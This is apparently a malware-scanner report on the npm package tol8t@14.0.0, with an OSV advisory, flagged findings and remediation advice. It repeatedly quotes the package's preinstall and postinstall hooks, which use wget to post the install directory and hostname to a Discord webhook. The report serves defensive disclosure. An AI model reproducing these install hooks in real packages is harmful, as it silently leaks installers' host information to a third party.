registry / tol8t / 14.0.0

tol8t@14.0.0

AI Security Review

scanned 23d ago · by lpm-firewall-ai

npm lifecycle hooks exfiltrate the consumer's current installation directory and host name to Discord. This occurs without a user command beyond installing the package.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation, through preinstall and postinstall hooks

Impact

Leaks consumer environment information to a third party during installation.

Mechanism

wget posts host-identifying values to a Discord webhook

Attack narrative

Installing the package invokes preinstall, which expands pwd and posts the resulting installation directory to Discord. Postinstall expands hostname and posts that host identifier to the same webhook. The package snapshot has no implementation that would require these network disclosures.

AI rationale

Automatic install hooks transmit consumer environment identifiers to an unrelated external endpoint. This is concrete unsolicited data exfiltration, so the package should be blocked.

Evidence

package.json

Network endpoints1

discord.com

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16218

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in tol8t (npm)

Details

package.json declares preinstall and postinstall lifecycle hooks that use wget to POST installer host identifiers to a hardcoded Discord webhook at https://discord.com/api/webhooks/1413937656697720862/. The preinstall hook sends the installer's current working directory ($(pwd)) and the postinstall hook sends the machine hostname ($(hostname)). Both fire automatically during `npm install` with no user interaction. The package ships no other functionality; its sole behavior is host reconnaissance beaconing to an attacker-controlled Discord webhook. ## Source: ossf-package-analysis (2f9850f64422a733207e07792098b0e3c72d43311f73a44bd07ae0c2dd4429eb) The OpenSSF Package Analysis project identified 'tol8t' @ 14.0.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook sends the install directory to a Discord webhook.
The postinstall hook sends the host name to the same external webhook.
Both actions run automatically during npm installation and have no package functionality.

Evidence against

The snapshot contains no other source files or runtime implementation.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = wget --quiet --header='Content-Type: application/json' --post-data='{"content": "📂 Installation started from directory: '$(pwd)'"}' https://discord.[redacted]...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "wget --quiet --header='Content-Type: application/json' --post-data='{\"content\": \"📂 Installation started from directory: '$(pwd)'\"}' https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null",

High

Suspicious Lifecycle Evidence

The preinstall hook sends the install directory to a Discord webhook.

package.jsonView on unpkg · L7

8"postinstall": "wget --quiet --header='Content-Type: application/json' --post-data='{\"content\": \"💻 Installed successfully on device: '$(hostname)'\"}' https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null"

High

Suspicious Lifecycle Evidence

The postinstall hook sends the host name to the same external webhook.

package.jsonView on unpkg · L8

•scripts.preinstall = wget --quiet --header='Content-Type: application/json' --post-data='{"content": "📂 Installation started from directory: '$(pwd)'"}' https://discord.[redacted]...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = wget --quiet --header='Content-Type: application/json' --post-data='{"content": "💻 Installed successfully on device: '$(hostname)'"}' https://discord.com/api/webhooks/1413937656697...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

•scripts.preinstall = wget --quiet --header='Content-Type: application/json' --post-data='{"content": "📂 Installation started from directory: '$(pwd)'"}' https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = wget --quiet --header='Content-Type: application/json' --post-data='{"content": "📂 Installation started from directory: '$(pwd)'"}' https://discord.[redacted]...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The preinstall hook sends the install directory to a Discord webhook.

package.jsonView on unpkg · L7

High

Suspicious Lifecycle Evidence

The postinstall hook sends the host name to the same external webhook.

package.jsonView on unpkg · L8

Findings

4 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

Affected versions and remediation

This report applies to tol8t@14.0.0.

See version security history for other recorded verdicts.

Avoid installing tol8t@14.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-16 10:30:09.553Z (UTC).

Source advisory published: 2026-09-15 20:05:48.000Z (UTC).